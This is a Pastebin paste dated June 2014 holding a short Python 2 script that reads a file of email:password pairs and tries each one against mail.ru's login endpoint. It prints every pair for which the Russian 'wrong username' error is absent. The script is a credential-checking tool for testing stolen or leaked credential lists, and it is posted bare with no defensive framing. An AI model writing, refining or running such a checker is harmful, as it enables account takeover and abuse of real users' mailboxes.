Guest User

Untitled

a guest
Jun 1st, 2014
249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # -*- coding: utf-8 -*-
  2. from urllib import urlopen
  3. from sys import argv
  4.  
  5. fail = 'Неверное имя пользователя'
  6.  
  7. f_pass = open(argv[1], 'r')
  8. data = f_pass.readlines()
  9.  
  10. for MailAndPass in data:
  11.     login = MailAndPass[:MailAndPass.find(':')]
  12.     password = MailAndPass[MailAndPass.find(':')+1:]
  13.     link = 'https://auth.mail.ru/cgi-bin/auth?Login=' + login + '&Domain=mail.ru&Password=' + password
  14.     source = urlopen(link).read()
  15.     if source.find(fail) == -1:
  16.         print MailAndPass
  17.  
  18. f_pass.close()
Advertisement
Add Comment
Please, Sign In to add comment